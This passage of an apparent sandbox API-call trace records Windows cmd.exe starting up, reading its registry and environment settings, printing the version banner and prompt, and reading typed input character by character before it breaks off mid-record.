lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1de850, lpData=0x1de870, lpcbData=0x1de854*=0x1000 | out: lpType=0x1de850*=0x4, lpData=0x1de870*=0x0, lpcbData=0x1de854*=0x4) returned 0x0 [0032.399] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1de850, lpData=0x1de870, lpcbData=0x1de854*=0x1000 | out: lpType=0x1de850*=0x4, lpData=0x1de870*=0x9, lpcbData=0x1de854*=0x4) returned 0x0 [0032.399] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1de850, lpData=0x1de870, lpcbData=0x1de854*=0x1000 | out: lpType=0x1de850*=0x4, lpData=0x1de870*=0x9, lpcbData=0x1de854*=0x4) returned 0x0 [0032.399] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1de850, lpData=0x1de870, lpcbData=0x1de854*=0x1000 | out: lpType=0x1de850*=0x0, lpData=0x1de870*=0x9, lpcbData=0x1de854*=0x1000) returned 0x2 [0032.399] RegCloseKey (hKey=0x44) returned 0x0 [0032.399] time (in: timer=0x0 | out: timer=0x0) returned 0x5d001126 [0032.399] srand (_Seed=0x5d001126) [0032.399] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0032.399] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0032.399] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a2ac0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0032.399] GetProcessHeap () returned 0x300000 [0032.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x218) returned 0x31aa10 [0032.399] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x31aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0032.399] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a29f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0032.399] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a29f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0032.399] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a29f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0032.399] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0032.399] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0032.399] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0032.400] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0032.400] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0032.400] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0032.400] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0032.400] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0032.400] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0032.400] GetProcessHeap () returned 0x300000 [0032.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3194f0 | out: hHeap=0x300000) returned 1 [0032.400] GetEnvironmentStringsW () returned 0x318a60* [0032.400] GetProcessHeap () returned 0x300000 [0032.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa94) returned 0x31ac30 [0032.400] FreeEnvironmentStringsW (penv=0x318a60) returned 1 [0032.400] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a29f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0032.400] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a29f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0032.400] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0032.400] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0032.400] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0032.400] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0032.400] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0032.400] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0032.400] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0032.400] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0032.400] GetProcessHeap () returned 0x300000 [0032.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c) returned 0x31b6d0 [0032.400] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1df660 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0032.401] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1df660, lpFilePart=0x1df640 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1df640*="Desktop") returned 0x25 [0032.401] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0032.401] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1df370 | out: lpFindFileData=0x1df370*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x31b740 [0032.401] FindClose (in: hFindFile=0x31b740 | out: hFindFile=0x31b740) returned 1 [0032.401] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1df370 | out: lpFindFileData=0x1df370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x31b740 [0032.401] FindClose (in: hFindFile=0x31b740 | out: hFindFile=0x31b740) returned 1 [0032.401] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0032.401] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1df370 | out: lpFindFileData=0x1df370*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x884d5110, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x884d5110, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x31b740 [0032.401] FindClose (in: hFindFile=0x31b740 | out: hFindFile=0x31b740) returned 1 [0032.401] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0032.401] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0032.402] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0032.402] GetProcessHeap () returned 0x300000 [0032.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31ac30 | out: hHeap=0x300000) returned 1 [0032.402] GetEnvironmentStringsW () returned 0x31b740* [0032.402] GetProcessHeap () returned 0x300000 [0032.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xae8) returned 0x31c230 [0032.402] FreeEnvironmentStringsW (penv=0x31b740) returned 1 [0032.402] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a2ac0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0032.402] GetProcessHeap () returned 0x300000 [0032.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31b6d0 | out: hHeap=0x300000) returned 1 [0032.402] GetProcessHeap () returned 0x300000 [0032.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4016) returned 0x31cd20 [0032.402] GetProcessHeap () returned 0x300000 [0032.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cd20 | out: hHeap=0x300000) returned 1 [0032.402] GetConsoleOutputCP () returned 0x1b5 [0032.402] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a2abfe0 | out: lpCPInfo=0x4a2abfe0) returned 1 [0032.402] GetUserDefaultLCID () returned 0x409 [0032.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a2a7b50, cchData=8 | out: lpLCData=":") returned 2 [0032.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1df770, cchData=128 | out: lpLCData="0") returned 2 [0032.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1df770, cchData=128 | out: lpLCData="0") returned 2 [0032.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1df770, cchData=128 | out: lpLCData="1") returned 2 [0032.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a2ba740, cchData=8 | out: lpLCData="/") returned 2 [0032.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a2ba4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0032.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a2ba460, cchData=32 | out: lpLCData="Tue") returned 4 [0032.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a2ba420, cchData=32 | out: lpLCData="Wed") returned 4 [0032.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a2ba3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0032.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a2ba3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0032.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a2ba360, cchData=32 | out: lpLCData="Sat") returned 4 [0032.403] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a2ba700, cchData=32 | out: lpLCData="Sun") returned 4 [0032.403] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a2a7b40, cchData=8 | out: lpLCData=".") returned 2 [0032.403] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a2ba4e0, cchData=8 | out: lpLCData=",") returned 2 [0032.404] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0032.404] GetProcessHeap () returned 0x300000 [0032.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20c) returned 0x3195c0 [0032.404] GetConsoleTitleW (in: lpConsoleTitle=0x3195c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0032.405] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.405] GetFileType (hFile=0xf4) returned 0x3 [0032.405] BrandingFormatString () returned 0x3197e0 [0032.416] GetVersion () returned 0x1db10106 [0032.416] _vsnwprintf (in: _Buffer=0x1df8e0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x1df878 | out: _Buffer="6.1.7601") returned 8 [0032.416] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.416] GetFileType (hFile=0xf4) returned 0x3 [0032.416] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a2b6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0032.425] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a2b6340, nSize=0x2000, Arguments=0x1df880 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0032.425] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.425] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a2ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0032.425] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2ac320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1df808, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesWritten=0x1df808*=0x24, lpOverlapped=0x0) returned 1 [0032.425] _vsnwprintf (in: _Buffer=0x4a2b6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1df8a8 | out: _Buffer="\r\n") returned 2 [0032.425] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.426] GetFileType (hFile=0xf4) returned 0x3 [0032.426] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.426] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a2ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0032.426] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2ac320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1df878, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesWritten=0x1df878*=0x2, lpOverlapped=0x0) returned 1 [0032.426] _vsnwprintf (in: _Buffer=0x4a2b6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x1df8a8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0032.426] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.426] GetFileType (hFile=0xf4) returned 0x3 [0032.426] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.426] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a2ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0032.426] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2ac320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x1df878, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesWritten=0x1df878*=0x3f, lpOverlapped=0x0) returned 1 [0032.426] _vsnwprintf (in: _Buffer=0x4a2b6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1df8a8 | out: _Buffer="\r\n") returned 2 [0032.426] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.426] GetFileType (hFile=0xf4) returned 0x3 [0032.426] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.426] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a2ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0032.426] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2ac320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1df878, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesWritten=0x1df878*=0x2, lpOverlapped=0x0) returned 1 [0032.426] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0032.426] GetProcAddress (hModule=0x76e30000, lpProcName="CopyFileExW") returned 0x76e423d0 [0032.426] GetProcAddress (hModule=0x76e30000, lpProcName="IsDebuggerPresent") returned 0x76e38290 [0032.426] GetProcAddress (hModule=0x76e30000, lpProcName="SetConsoleInputExeNameW") returned 0x76e417e0 [0032.426] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.426] GetFileType (hFile=0xe8) returned 0x3 [0032.426] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0032.427] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x1df6d0 | out: TokenHandle=0x1df6d0*=0x0) returned 0xc000007c [0032.427] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x1df6d0 | out: TokenHandle=0x1df6d0*=0x50) returned 0x0 [0032.427] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x1df6e0, TokenInformationLength=0x4, ReturnLength=0x1df6e8 | out: TokenInformation=0x1df6e0, ReturnLength=0x1df6e8) returned 0x0 [0032.427] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x1df6e8, TokenInformationLength=0x4, ReturnLength=0x1df6e0 | out: TokenInformation=0x1df6e8, ReturnLength=0x1df6e0) returned 0x0 [0032.427] NtClose (Handle=0x50) returned 0x0 [0032.427] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x1df6b0, nSize=0x0, Arguments=0x1df6b8 | out: lpBuffer="\x97e0\x31") returned 0xf [0032.427] GetProcessHeap () returned 0x300000 [0032.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x218) returned 0x301ab0 [0032.427] GetConsoleTitleW (in: lpConsoleTitle=0x1df700, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0032.427] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0032.427] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0032.428] GetProcessHeap () returned 0x300000 [0032.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x301ab0 | out: hHeap=0x300000) returned 1 [0032.428] LocalFree (hMem=0x3197e0) returned 0x0 [0032.428] GetProcessHeap () returned 0x300000 [0032.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31aa10 | out: hHeap=0x300000) returned 1 [0032.428] _vsnwprintf (in: _Buffer=0x4a2b6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1df3e8 | out: _Buffer="\r\n") returned 2 [0032.428] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.428] GetFileType (hFile=0xf4) returned 0x3 [0032.428] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a2ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0032.428] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2ac320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1df3b8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesWritten=0x1df3b8*=0x2, lpOverlapped=0x0) returned 1 [0032.429] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a29f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0032.429] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a2ac0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0032.429] _vsnwprintf (in: _Buffer=0x4a29eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1df3f8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0032.429] _vsnwprintf (in: _Buffer=0x4a29ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1df3f8 | out: _Buffer=">") returned 1 [0032.429] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.429] GetFileType (hFile=0xf4) returned 0x3 [0032.429] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.429] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a2ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0032.429] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2ac320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1df3e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesWritten=0x1df3e8*=0x26, lpOverlapped=0x0) returned 1 [0032.429] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.429] GetFileType (hFile=0xe8) returned 0x3 [0032.429] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.429] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.429] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.429] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0032.432] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.433] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.433] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0032.433] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.433] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.433] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0032.433] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.433] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.433] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0032.433] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.433] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.433] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0032.433] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.433] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.433] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0032.433] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.433] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.433] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0032.433] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.433] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.434] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0032.434] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.434] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.434] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, 